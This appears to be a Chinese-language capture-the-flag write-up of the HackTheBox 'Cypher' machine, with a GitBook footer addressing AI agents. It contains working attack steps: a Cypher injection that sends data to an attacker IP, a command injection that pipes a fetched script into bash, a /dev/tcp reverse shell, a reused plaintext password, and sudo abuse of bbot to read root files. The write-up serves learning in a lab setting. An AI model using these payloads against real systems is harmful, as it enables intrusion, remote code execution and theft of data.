> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/cypher-hackthebox-writeup.md). # Cypher HackTheBox 复现 Cypher HackTheBox 中等难度 Linux 靶机复现，涵盖使用 JD-GUI 对 Java .jar 文件进行逆向工程、自定义 Java 代码漏洞分析、Neo4j 中的 Cypher 注入、远程代码执行（RC {% embed url="" %} {% hint style="warning" %} **技能：** * 使用 JD-GUI 对 Java .jar 文件进行逆向工程 * 自定义 Java 代码的漏洞分析 * Neo4j 中的 Cypher 注入 * 通过未清理的输入实现远程代码执行（RCE） * 利用后的枚举与凭证复用 * 通过配置错误的 sudo 权限进行提权 * 安全获取 flag 并进行清理的步骤 {% endhint %} ## 侦察 **工作区设置：** 通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。

**使用 Nmap 发现开放端口：** 枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件： ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.57 -oG allPorts ```

**使用 Nmap 进行端口版本扫描：** 使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中： ```bash nmap -sCV -p22,80 10.10.11.57 -oN targeted ```

然后将该 IP 添加到我们的 `/etc/hosts` 文件：

### Web 分析 - 80 端口（HTTP）

**Gobuster** 用于列出目录： ```bash gobuster dir -u http://cypher.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 ```

该 `/testing` 目录包含一个 `.jar` 文件。我们提取：

使用以下工具检查结构： `tree` 并使用以下工具打开 `.jar` 使用 **JD-GUI**. ```bash unzip custom-apoc-extension-1.0-SNAPSHOT.jar -d testing ```

我们发现一个存在漏洞的命令： ```java String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url }; ```

**漏洞**：URL 未经过转义，允许进行 /*/* shell/*/* 注入。 ## Neo4j Cypher 注入一个登录表单存在漏洞。在……之间会出现错误 `'`.

我们注入一段 Cypher payload 来获取 Neo4j 的版本： {% code overflow="wrap" %} ```json { "username": "' OR 1=1 WITH 1 AS a CALL dbms.components() YIELD versions UNWIND versions AS version LOAD CSV FROM 'http://10.10.14.90/?v=' + version AS l RETURN 0 AS _0 //", "password": "test" } ``` {% endcode %}

在我们的服务器上，我们收到了该请求： ```bash python3 -m http.server 80 # --> 5.24.1 ```

### 通过调用实现 NCE `custom.getUrlStatusCode()`

在以下位置放置一个反向 shell： `index.html`: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.80/443 0>&1 ``` 在以下位置放置一个反向 shell： `index.html`: ```bash nc -nlvp 443 ``` 使用联合注入来调用这个 **custom.getUrlStatusCode** ```bash { "username": "admin' return h.value AS value UNION CALL custom.getUrlStatusCode(/"127.0.0.1;curl 10.10.14.90/index.html | bash;/") YIELD statusCode AS value RETURN value ; //", "password": "test" } ```

#### Shell 优化： ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ## 横向移动 - 用户 Graphasm 在 `/home/graphasm/` 有一个 `pwn.py` 包含密码的文件

* cU4btyib.20xtCMCXkBmerhK #### 密码复用 ### user.txt 标志 :)

## 权限提升 ### Sudo - bbot（二进制文件）对 fees 的 sudo 审计： ```bash sudo -l ``` 用户可以运行 `/usr/local/bin/bbot` 以 root 身份。

以下内容： `/usr/local/bin/bbot`: ```python #!/opt/pipx/venvs/bbot/bin/python # -*- coding: utf-8 -*- import re import sys from bbot.cli import main if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script/.pyw|/.exe)?$', '', sys.argv[0]) sys.exit(main()) ```

### 利用：这个脚本只是将参数传递给以下程序的 main 函数： `bbot`。由于我们可以控制提供的参数，因此我们可以利用以下功能： `bbot` 来读取任意文件——包括那些仅对用户可访问的文件 **root**. 在查阅使用说明或文档后，关于使用 `bbot`，我们找到了用于指定目标文件和输出目录的选项： ```bash sudo /usr/local/bin/bbot -t /root/root.txt -o /tmp/root -d ``` **说明：** * `-t /root/root.txt`：设置要处理的目标文件。 * `-o /tmp/root`：指定输出目录（结果将存储在此处）。 * `-d`：启用调试模式，以便在需要更多信息时使用。由于该脚本以 **root** 权限运行，并且不会对 ns 条目进行验证，因此这使我们能够读取任意文件，包括包含以下内容的最终文件 **root flag**.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/cypher-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.